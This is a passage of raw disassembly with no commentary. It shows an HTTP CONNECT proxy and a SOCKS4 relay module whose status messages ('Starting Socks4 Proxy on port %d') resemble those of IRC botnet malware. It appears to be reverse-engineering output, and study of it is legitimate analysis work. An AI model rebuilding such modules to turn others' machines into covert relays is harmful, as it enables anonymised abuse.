lea edi, [esp+6Ch+arg_42C]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
lea ecx, [esp+70h+arg_42C]
push ecx
push edx
nop
call near ptr 71AB428Ah
test ebx, ebx
jz loc_428F8C
xor edi, edi
test ebx, ebx
jle short loc_428F14
loc_428EC3: ; CODE XREF: sub_4282C0+C52j
mov eax, ebx
sub eax, edi
cmp eax, 4000h
jbe short loc_428F14
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+7Ch+arg_41C]
push 4000h
push ecx
push edx
call near ptr 71AB615Ah
nop
mov esi, eax
cmp esi, 1
jl short loc_428F14
cmp esi, 0FFFFFFFFh
jz short loc_428F14
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+8Ch+arg_40C]
push esi
push eax
push ecx
nop
call near ptr 71AB428Ah
add edi, esi
cmp edi, ebx
jl short loc_428EC3
loc_428F14: ; CODE XREF: sub_4282C0+C01j
; sub_4282C0+C0Cj ...
mov eax, ebx
sub eax, edi
jz short loc_428F5E
loc_428F1A: ; CODE XREF: sub_4282C0+C9Cj
push 0
push eax
mov eax, [ebp+0BFh]
lea edx, [esp+0A0h+arg_3FC]
push edx
push eax
call near ptr 71AB615Ah
nop
mov esi, eax
cmp esi, 1
jl short loc_428F5E
cmp esi, 0FFFFFFFFh
jz short loc_428F5E
mov edx, [ebp+0BBh]
push 0
lea ecx, [esp+0ACh+arg_3EC]
push esi
push ecx
push edx
nop
call near ptr 71AB428Ah
add edi, esi
mov eax, ebx
sub eax, edi
jnz short loc_428F1A
loc_428F5E: ; CODE XREF: sub_4282C0+C58j
; sub_4282C0+C77j ...
mov al, [ebp+0BAh]
test al, al
jnz loc_4291EF
mov ecx, [ebp+0BBh]
push ecx
call near ptr 71AB9639h
nop
or esi, 0FFFFFFFFh
mov [esp+0BCh+var_AA], 1
mov [ebp+0BBh], esi
jmp loc_4291F2
; ---------------------------------------------------------------------------
loc_428F8C: ; CODE XREF: sub_4282C0+BF7j
mov esi, dword_50FC90
loc_428F92: ; CODE XREF: sub_4282C0+D0Cj
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+7Ch+arg_41C]
push 4000h
push eax
push ecx
call esi ; dword_50FC90
cmp eax, 1
jl short loc_428F5E
cmp eax, 0FFFFFFFFh
jz short loc_428F5E
push 0
push eax
mov eax, [ebp+0BBh]
lea edx, [esp+90h+arg_40C]
push edx
push eax
nop
call near ptr 71AB428Ah
jmp short loc_428F92
; ---------------------------------------------------------------------------
loc_428FCE: ; CODE XREF: sub_4282C0+66Cj
lea ecx, [esp+38h+var_24]
push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+38h+var_24]
push 0
call sub_4013D9
push eax
lea ecx, [esp+40h+var_24]
call sub_4017E4
mov edx, [ebp+0BBh]
push eax
push edx
call near ptr 71AB428Ah
nop
test eax, eax
jz loc_429492
cmp eax, ebx
jz loc_429492
mov ebx, dword_50FC90
loc_429019: ; CODE XREF: sub_4282C0+EB9j
; sub_4282C0+F11j ...
mov eax, [ebp+0BBh]
mov edx, [ebp+0BFh]
mov [esp+48h+arg_248], eax
mov [esp+48h+arg_244], 1
xor eax, eax
lea ecx, [esp+48h+arg_248]
loc_429040: ; CODE XREF: sub_4282C0+D8Bj
cmp [ecx], edx
jz short loc_42904D
inc eax
add ecx, 4
cmp eax, 1
jb short loc_429040
loc_42904D: ; CODE XREF: sub_4282C0+D82j
cmp eax, 1
jnz short loc_429064
mov [esp+48h+arg_24C], edx
mov [esp+48h+arg_244], 2
loc_429064: ; CODE XREF: sub_4282C0+D90j
mov ecx, 1000h
xor eax, eax
lea edi, [esp+48h+arg_44C]
push eax
rep stosd
push eax
lea ecx, [esp+50h+arg_244]
push eax
push ecx
push eax
nop
call near ptr 71AB2DC0h
mov eax, [ebp+0BBh]
lea edx, [esp+5Ch+arg_230]
push edx
push eax
call sub_436F60
test eax, eax
jz short loc_4290E0
mov edx, [ebp+0BBh]
push 0
lea ecx, [esp+68h+arg_430]
push 4000h
push ecx
push edx
call ebx ; dword_50FC90
cmp eax, 0FFFFFFFFh
jz loc_428F5E
mov ecx, [ebp+0BFh]
push 0
push eax
lea eax, [esp+7Ch+arg_420]
push eax
push ecx
call near ptr 71AB428Ah
nop
cmp eax, 0FFFFFFFFh
jz loc_428F5E
loc_4290E0: ; CODE XREF: sub_4282C0+DDCj
mov eax, [ebp+0BFh]
lea edx, [esp+84h+arg_208]
push edx
push eax
call sub_436F60
test eax, eax
jz short loc_42913A
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+90h+arg_408]
push 4000h
push ecx
push edx
call ebx ; dword_50FC90
cmp eax, 0FFFFFFFFh
jz loc_428F5E
mov ecx, [ebp+0BBh]
push 0
push eax
lea eax, [esp+0A4h+arg_3F8]
push eax
push ecx
nop
call near ptr 71AB428Ah
cmp eax, 0FFFFFFFFh
jz loc_428F5E
loc_42913A: ; CODE XREF: sub_4282C0+E36j
mov edi, dword_50F8D0
push 5
call edi ; dword_50F8D0
mov eax, [ebp+0BBh]
push 0
lea edx, [esp+0B4h+arg_3E4]
push 4000h
push edx
push eax
call ebx ; dword_50FC90
mov esi, eax
test esi, esi
jz loc_428F5E
jge short loc_42917E
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_42917E
push 1
call edi ; dword_50F8D0
jmp loc_429019
; ---------------------------------------------------------------------------
loc_42917E: ; CODE XREF: sub_4282C0+EA6j
; sub_4282C0+EB3j
mov edx, [ebp+0BFh]
mov edi, dword_50FC8C
push 0
lea ecx, [esp+0C4h+arg_3D4]
push esi
push ecx
push edx
call edi ; dword_50FC8C
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+0D4h+arg_3C4]
push 4000h
push eax
push ecx
call ebx ; dword_50FC90
mov esi, eax
test esi, esi
jz loc_428F5E
jge short loc_4291D6
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jnz short loc_4291D6
push 1
nop
call near ptr 2840000h
jmp loc_429019
; ---------------------------------------------------------------------------
loc_4291D6: ; CODE XREF: sub_4282C0+EFAj
; sub_4282C0+F07j
mov eax, [ebp+0BBh]
push 0
lea edx, [esp+0E4h+arg_3B4]
push esi
push edx
push eax
call edi ; dword_50FC8C
jmp loc_429019
; ---------------------------------------------------------------------------
loc_4291EF: ; CODE XREF: sub_4282C0+CA6j
or esi, 0FFFFFFFFh
loc_4291F2: ; CODE XREF: sub_4282C0+CC7j
mov al, [esp+0B8h+var_A7]
test al, al
jnz short loc_429212
mov edx, [ebp+0BFh]
push edx
nop
call near ptr 71AB9639h
mov [ebp+0BFh], esi
mov [esp+0BCh+var_AA], 1
loc_429212: ; CODE XREF: sub_4282C0+F38j
lea ecx, [esp+0BCh+var_34]
mov byte ptr [esp+0BCh+arg_53E0], 0Dh
call sub_401226
lea ecx, [esp+0BCh+var_5C]
mov byte ptr [esp+0BCh+arg_53E0], 0Ch
call sub_401226
lea ecx, [esp+0BCh+var_74]
mov byte ptr [esp+0BCh+arg_53E0], 2
call sub_401226
lea ecx, [esp+0BCh+var_8C]
mov byte ptr [esp+0BCh+arg_53E0], 1
call sub_401226
lea ecx, [esp+0BCh+var_A8]
mov byte ptr [esp+0BCh+arg_53E0], 0
call sub_401226
lea ecx, [esp+0BCh+var_4]
mov [esp+0BCh+arg_53E0], esi
call sub_4014B0
or esi, 0FFFFFFFFh
loc_429280: ; CODE XREF: sub_4282C0+EBj
mov al, [esp+0BCh+var_AA]
test al, al
jz loc_4282F8
loc_42928C: ; CODE XREF: sub_4282C0+1074j
; sub_4282C0+11CDj
mov al, [ebp+0BAh]
test al, al
jz short loc_4292A9
mov eax, [ebp+0BBh]
push eax
nop
call near ptr 71AB9639h
mov [ebp+0BBh], esi
loc_4292A9: ; CODE XREF: sub_4282C0+FD4j
mov al, [esp+11h]
test al, al
jz short loc_4292C4
mov ecx, [ebp+0BFh]
push ecx
call near ptr 71AB9639h
nop
mov [ebp+0BFh], esi
loc_4292C4: ; CODE XREF: sub_4282C0+FEFj
; sub_4282C0+1255j
mov ecx, [esp+0C4h+arg_53D0]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 5494h
retn
; ---------------------------------------------------------------------------
loc_4292DD: ; CODE XREF: sub_4282C0+40Aj
lea ecx, [esp+1Ch+arg_40]
mov byte ptr [esp+1Ch+arg_5480], 0Ch
call sub_401226
loc_4292EE: ; CODE XREF: sub_4282C0+3D7j
lea ecx, [esp+1Ch+arg_28]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
loc_4292FF: ; CODE XREF: sub_4282C0+191j
; sub_4282C0+1AAj ...
lea ecx, [esp+1Ch+arg_10]
mov byte ptr [esp+1Ch+arg_5480], 1
call sub_401226
loc_429310: ; CODE XREF: sub_4282C0+85j
lea ecx, [esp+1Ch+var_8]
mov byte ptr [esp+1Ch+arg_5480], 0
call sub_401226
lea ecx, [esp+1Ch+arg_98]
mov [esp+1Ch+arg_5480], esi
call sub_4014B0
jmp loc_42928C
; ---------------------------------------------------------------------------
loc_429339: ; CODE XREF: sub_4282C0+503j
mov eax, [ebp+0BBh]
push eax
nop
call near ptr 71AB9639h
jmp loc_4294AA
; ---------------------------------------------------------------------------
loc_42934B: ; CODE XREF: sub_4282C0+644j
lea ecx, [esp+2Ch+arg_9D]
call sub_4017E4
push eax
lea ecx, [esp+30h+var_18]
push offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push ecx
call sub_40102D
add esp, 0Ch
lea ecx, [esp+2Ch+var_18]
push 0
call sub_4013D9
push eax
lea ecx, [esp+34h+var_18]
call sub_4017E4
mov edx, [ebp+0BBh]
push eax
push edx
nop
call near ptr 71AB428Ah
mov eax, [ebp+0BBh]
mov esi, dword_50FC88
push eax
call esi ; dword_50FC88
mov ecx, [ebp+0BFh]
push ecx
jmp loc_4294A8
; ---------------------------------------------------------------------------
loc_4293A8: ; CODE XREF: sub_4282C0+660j
mov edx, [esp+38h+arg_D0]
lea ecx, [esp+38h+arg_91]
push edx
call sub_4017E4
push eax
lea eax, [esp+40h+var_24]
push offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+38h+var_24]
push 0
call sub_4013D9
push eax
lea ecx, [esp+40h+var_24]
call sub_4017E4
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
loc_4293F2: ; CODE XREF: sub_4282C0+711j
; sub_4282C0+719j
mov edx, [ebp+0BBh]
mov esi, dword_50FC88
push edx
call esi ; dword_50FC88
mov eax, [ebp+0BFh]
push eax
jmp loc_4294A8
; ---------------------------------------------------------------------------
loc_42940D: ; CODE XREF: sub_4282C0+5EEj
mov ecx, [ebp+0BBh]
push ecx
nop
call near ptr 71AB9639h
jmp loc_4294AA
; ---------------------------------------------------------------------------
loc_42941F: ; CODE XREF: sub_4282C0+73Fj
lea ecx, [esp+48h+arg_3C]
mov byte ptr [esp+48h+arg_5454], 0Dh
call sub_401226
lea ecx, [esp+48h+arg_14]
mov byte ptr [esp+48h+arg_5454], 0Ch
call sub_401226
lea ecx, [esp+48h]
mov byte ptr [esp+48h+arg_5454], 2
call sub_401226
lea ecx, [esp+48h+var_18]
mov byte ptr [esp+48h+arg_5454], 1
call sub_401226
lea ecx, [esp+48h+var_34]
mov byte ptr [esp+48h+arg_5454], 0
call sub_401226
lea ecx, [esp+48h+arg_6C]
mov [esp+48h+arg_5454], ebx
call sub_4014B0
or esi, 0FFFFFFFFh
jmp loc_42928C
; ---------------------------------------------------------------------------
loc_429492: ; CODE XREF: sub_4282C0+D45j
; sub_4282C0+D4Dj
mov ecx, [ebp+0BBh]
mov esi, dword_50FC88
push ecx
call esi ; dword_50FC88
mov edx, [ebp+0BFh]
push edx
loc_4294A8: ; CODE XREF: sub_4282C0+10E3j
; sub_4282C0+1148j
call esi ; dword_50FC88
loc_4294AA: ; CODE XREF: sub_4282C0+1086j
; sub_4282C0+115Aj
lea ecx, [esp+50h+arg_34]
mov byte ptr [esp+50h+arg_544C], 0Dh
call sub_401226
lea ecx, [esp+50h+arg_C]
mov byte ptr [esp+50h+arg_544C], 0Ch
call sub_401226
lea ecx, [esp+50h+var_8]
mov byte ptr [esp+50h+arg_544C], 2
call sub_401226
lea ecx, [esp+50h+var_20]
mov byte ptr [esp+50h+arg_544C], 1
call sub_401226
lea ecx, [esp+50h+var_3C]
mov byte ptr [esp+50h+arg_544C], 0
call sub_401226
lea ecx, [esp+50h+arg_64]
mov [esp+50h+arg_544C], ebx
call sub_4014B0
jmp loc_4292C4
sub_4282C0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 4A0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4299C0 proc near ; CODE XREF: sub_4018DEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4299C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset aHttp_0 ; "HTTP"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E15C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4299C0 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429A30: ; CODE XREF: ___:loc_40112Cj
; ___:0040128Fj
push esi
mov esi, ecx
call sub_402108
test byte ptr [esp+8], 1
jz short loc_429A48
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_429A48: ; CODE XREF: ___:00429A3Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429A60 proc near ; CODE XREF: sub_402108j
push esi
mov esi, ecx
mov eax, [esi+9Eh]
mov dword ptr [esi], offset off_43E15C
cmp eax, 0FFFFFFFFh
jz short loc_429A7B
push eax
nop
call near ptr 71AB9639h
loc_429A7B: ; CODE XREF: sub_429A60+12j
mov ecx, esi
call sub_40179E
pop esi
retn
sub_429A60 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429AA0 proc near ; CODE XREF: sub_4010E1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429AA0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push edi
mov edi, ecx
mov dword ptr [edi+9Eh], 0FFFFFFFFh
loc_429AC3: ; CODE XREF: sub_429AA0+48j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jz short loc_429AEA
mov ecx, [edi+3Bh]
push ecx
call sub_40197E
add esp, 4
cmp eax, 0FFFFFFFFh
mov [edi+9Eh], eax
jz short loc_429AC3
loc_429AEA: ; CODE XREF: sub_429AA0+31j
mov edx, [edi+99h]
mov al, [edx+11Ch]
test al, al
jz loc_429BBC
push ebp
push esi
loc_429B00: ; CODE XREF: sub_429AA0+114j
mov eax, [edi+9Eh]
push eax
call sub_4012DF
mov ebp, eax
add esp, 4
cmp ebp, 0FFFFFFFFh
jz loc_429B9B
test ebp, ebp
jz short loc_429B9B
push 0C3h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+1Ch+var_10], eax
test eax, eax
mov [esp+1Ch+var_4], 0
jz short loc_429B46
mov ecx, eax
call sub_401884
mov esi, eax
jmp short loc_429B48
; ---------------------------------------------------------------------------
loc_429B46: ; CODE XREF: sub_429AA0+99j
xor esi, esi
loc_429B48: ; CODE XREF: sub_429AA0+A4j
mov ecx, [edi+99h]
mov [esi+9Dh], edi
mov [esi+99h], ecx
mov edx, [edi+3Bh]
lea eax, [edi+26h]
lea ecx, [esi+26h]
push eax
mov [esp+20h+var_4], 0FFFFFFFFh
mov [esi+3Bh], edx
mov [esi+0BBh], ebp
call sub_401FBE
mov cl, [edi+97h]
mov [esi+97h], cl
mov dl, [edi+98h]
mov ecx, esi
mov [esi+98h], dl
call sub_4013D4
jmp short loc_429BA6
; ---------------------------------------------------------------------------
loc_429B9B: ; CODE XREF: sub_429AA0+74j
; sub_429AA0+7Cj
push 0FAh
nop
call near ptr 2840000h
loc_429BA6: ; CODE XREF: sub_429AA0+F9j
mov eax, [edi+99h]
mov cl, [eax+11Ch]
test cl, cl
jnz loc_429B00
pop esi
pop ebp
loc_429BBC: ; CODE XREF: sub_429AA0+58j
mov edi, [edi+9Eh]
cmp edi, 0FFFFFFFFh
jz short loc_429BCE
push edi
nop
call near ptr 71AB9639h
loc_429BCE: ; CODE XREF: sub_429AA0+125j
mov ecx, [esp+14h+var_C]
pop edi
mov large fs:0, ecx
add esp, 10h
retn
sub_429AA0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429C30 proc near ; CODE XREF: sub_40137Aj
push ebx
push esi
mov esi, ecx
push edi
mov al, [esi+9Dh]
lea edi, [esi+11h]
test al, al
mov eax, [esi+3Bh]
lea ebx, [esi+26h]
push eax
mov ecx, edi
jz short loc_429C58
call sub_4017E4
push eax
push offset aSStartingProxy ; "[%s] Starting proxy on %d with SSL."
jmp short loc_429C63
; ---------------------------------------------------------------------------
loc_429C58: ; CODE XREF: sub_429C30+19j
call sub_4017E4
push eax
push offset aSStartingPro_0 ; "[%s] Starting proxy on port %d."
loc_429C63: ; CODE XREF: sub_429C30+26j
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
mov ecx, esi
call sub_4010E1
mov eax, [esi+3Bh]
mov ecx, edi
push eax
call sub_4017E4
push eax
push offset aSUnloadedProxy ; "[%s] Unloaded proxy on port %d."
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
pop edi
pop esi
pop ebx
retn
sub_429C30 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429D00 proc near ; CODE XREF: sub_40211Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_429D00
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E16C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_429D00 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_429D70: ; CODE XREF: ___:00401870j
; ___:loc_401B04j
push esi
mov esi, ecx
call sub_401F87
test byte ptr [esp+8], 1
jz short loc_429D88
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_429D88: ; CODE XREF: ___:00429D7Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_429DA0 proc near ; CODE XREF: sub_401F87j
jmp sub_40179E
sub_429DA0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_429DC0 proc near ; CODE XREF: sub_4010AFj
var_81D = byte ptr -81Dh
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = byte ptr -808h
var_807 = byte ptr -807h
var_806 = word ptr -806h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
var_400 = byte ptr -400h
sub esp, 820h
lea eax, [esp+820h+var_81D]
push ebx
push ebp
push esi
mov esi, dword_50FC90
mov ebp, ecx
push edi
push 0
push 1
mov ecx, [ebp+0A1h]
push eax
push ecx
call esi ; dword_50FC90
cmp eax, 1
jge short loc_429E01
mov edx, [ebp+0A1h]
push edx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_429E01: ; CODE XREF: sub_429DC0+27j
cmp [esp+830h+var_81D], 4
jnz loc_429FEC
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_807]
push 406h
push eax
push ecx
call esi ; dword_50FC90
cmp eax, 1
jge short loc_429E3E
mov edx, [ebp+0A1h]
push edx
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_429E3E: ; CODE XREF: sub_429DC0+64j
cmp [esp+830h+var_807], 1
jnz loc_429FEC
mov cx, [esp+830h+var_806]
mov edx, [esp+830h+var_804]
xor eax, eax
push 6
mov [esp+834h+var_818], eax
push 1
mov [esp+838h+var_814], eax
push 2
mov [esp+83Ch+var_810], eax
mov word ptr [esp+83Ch+var_818], 2
mov [esp+83Ch+var_80C], eax
mov word ptr [esp+83Ch+var_818+2], cx
mov [esp+83Ch+var_814], edx
nop
call near ptr 71AB3B91h
mov ebx, eax
lea eax, [esp+830h+var_818]
push 10h
push eax
push ebx
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
mov [esp+830h+var_808], 0
jnz short loc_429ED9
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Bh
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
nop
call near ptr 71AB428Ah
mov eax, [ebp+0A1h]
push eax
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
; ---------------------------------------------------------------------------
loc_429ED9: ; CODE XREF: sub_429DC0+D8j
mov edx, [ebp+0A1h]
mov ecx, 100h
xor eax, eax
lea edi, [esp+830h+var_800]
mov [esp+830h+var_807], 5Ah
push eax
rep stosd
lea ecx, [esp+834h+var_808]
push 8
push ecx
push edx
nop
call near ptr 71AB428Ah
mov ecx, [ebp+0A1h]
mov esi, dword_50FC50
lea eax, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push eax
push 8004667Eh
push ecx
call esi ; dword_50FC50
lea edx, [esp+830h+var_81C]
mov [esp+830h+var_81C], 1
push edx
push 8004667Eh
push ebx
call esi ; dword_50FC50
loc_429F36: ; CODE XREF: sub_429DC0+1AFj
; sub_429DC0+1FEj ...
mov edi, dword_50FC90
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ebx
call edi ; dword_50FC90
mov esi, eax
test esi, esi
jz loc_429FDA
jge short loc_429F71
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_429F71
push 0Ah
call near ptr 2840000h
nop
jmp short loc_429F36
; ---------------------------------------------------------------------------
loc_429F71: ; CODE XREF: sub_429DC0+198j
; sub_429DC0+1A5j
mov edx, [ebp+0A1h]
push 0
lea ecx, [esp+834h+var_400]
push esi
push ecx
push edx
call near ptr 71AB428Ah
nop
mov ecx, [ebp+0A1h]
push 0
lea eax, [esp+834h+var_400]
push 400h
push eax
push ecx
call edi ; dword_50FC90
mov esi, eax
test esi, esi
jz short loc_429FDA
jge short loc_429FC3
nop
call near ptr 71AB94DCh
cmp eax, 2733h
jz short loc_429FC3
push 0Ah
nop
call near ptr 2840000h
jmp loc_429F36
; ---------------------------------------------------------------------------
loc_429FC3: ; CODE XREF: sub_429DC0+1E7j
; sub_429DC0+1F4j
push 0
lea edx, [esp+834h+var_400]
push esi
push edx
push ebx
call near ptr 71AB428Ah
nop
jmp loc_429F36
; ---------------------------------------------------------------------------
loc_429FDA: ; CODE XREF: sub_429DC0+192j
; sub_429DC0+1E5j
mov eax, [ebp+0A1h]
mov esi, dword_50FC88
push eax
call esi ; dword_50FC88
push ebx
call esi ; dword_50FC88
loc_429FEC: ; CODE XREF: sub_429DC0+46j
; sub_429DC0+83j
pop edi
pop esi
pop ebp
pop ebx
add esp, 820h
retn
sub_429DC0 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 90h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A090 proc near ; CODE XREF: sub_40216Cj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_42A090
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401F82
push offset aSocks4 ; "Socks4"
lea ecx, [esi+11h]
mov [esp+18h+var_4], 0
mov dword ptr [esi], offset off_43E17C
call sub_4015D7
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_42A090 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A100 proc near ; CODE XREF: ___:00401032j sub_4017A8j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401C3A
test [esp+4+arg_0], 1
jz short loc_42A118
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_42A118: ; CODE XREF: sub_42A100+Dj
mov eax, esi
pop esi
retn 4
sub_42A100 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_42A130 proc near ; CODE XREF: sub_401C3Aj
jmp sub_40179E
sub_42A130 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_42A150 proc near ; CODE XREF: sub_40188Ej
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_42A150
push eax
mov large fs:0, esp
sub esp, 28h
push ebx
push esi
mov esi, ecx
mov eax, [esi+3Bh]
lea ecx, [esi+11h]
push eax
lea ebx, [esi+26h]
call sub_4017E4
push eax
push offset aSStartingSocks ; "[%s] Starting Socks4 Proxy on port %d."
mov ecx, ebx
call sub_4014D3
mov cl, [esi+98h]
mov dl, [esi+97h]
push eax
push ecx
push edx
push offset byte_4D60B5
call sub_401848
add esp, 1Ch
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
cmp eax, 0FFFFFFFFh
mov [esi+9Dh], eax
jz loc_42A359
mov cx, [esi+3Bh]
xor eax, eax
mov [esp+3Ch+var_2C], eax
push ecx
mov [esp+40h+var_28], eax
mov word ptr [esp+40h+var_2C], 2
mov [esp+40h+var_24], eax
mov [esp+40h+var_20], eax
call near ptr 71AB2B66h
nop
mov word ptr [esp+3Ch+var_2C+2], ax
mov eax, [esi+9Dh]
lea edx, [esp+3Ch+var_2C]
push 10h
push edx
push eax
mov [esp+48h+var_34], 10h
nop
call near ptr 71AB3E00h
test eax, eax
jz short loc_42A226
mov ecx, [esi+9Dh]
push ecx
nop
call near ptr 71AB9639h
pop esi
pop ebx
mov ecx, [esp+34h+var_C]
mov large fs:0, ecx
add esp, 34h
retn
; ---------------------------------------------------------------------------
loc_42A226: ; CODE XREF: sub_42A150+B6j
mov edx, [esi+99h]
push ebp
push edi
mov al, [edx+11Ch]
test al, al
jz loc_42A310
loc_42A23C: ; CODE XREF: sub_42A150+1BAj
mov eax, [esi+9Dh]
push 0Ah
push eax
call near ptr 71AB88D3h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_42A260
push 0FAh
nop
call near ptr 2840000h
jmp loc_42A2FC
; ---------------------------------------------------------------------------
loc_42A260: ; CODE XREF: sub_42A150+FEj
mov eax, [esi+9Dh]
lea ecx, [esp+40h+var_30]
lea edx, [esp+40h+var_18]
push ecx
push edx
push eax
nop
call near ptr 71AC1028h
mov ebp, eax
cmp ebp, 0FFFFFFFFh
jz loc_42A310
xor edi, edi
cmp ebp, edi
jz loc_42A310
push 0A5h
call sub_4367FA
; ---------------------------------------------------------------------------
add esp, 4
mov [esp+44h+var_30], eax
cmp eax, edi
mov [esp+44h+var_4], edi
jz short loc_42A2AE
mov ecx, eax
call sub_40211C
mov edi, eax
loc_42A2AE: ; CODE XREF: sub_42A150+153j
mov ecx, [esi+99h]
mov [edi+9Dh], esi
mov [edi+99h], ecx
mov edx, [esi+3Bh]
push ebx
lea ecx, [edi+26h]
mov [esp+48h+var_4], 0FFFFFFFFh
mov [edi+3Bh], edx
mov [edi+0A1h], ebp
call sub_401FBE
mov al, [esi+97h]
mov [edi+97h], al
mov cl, [esi+98h]
mov [edi+98h], cl
mov ecx, edi
call sub_4013D4
loc_42A2FC: ; CODE XREF: sub_42A150+10Bj
mov edx, [esi+99h]
mov al, [edx+11Ch]
test al, al
jnz loc_42A23C
loc_42A310: ; CODE XREF: sub_42A150+E6j
; sub_42A150+12Cj ...
mov eax, [esi+9Dh]
pop edi
cmp eax, 0FFFFFFFFh
pop ebp
jz short loc_42A324
push eax
nop
call near ptr 71AB9639h
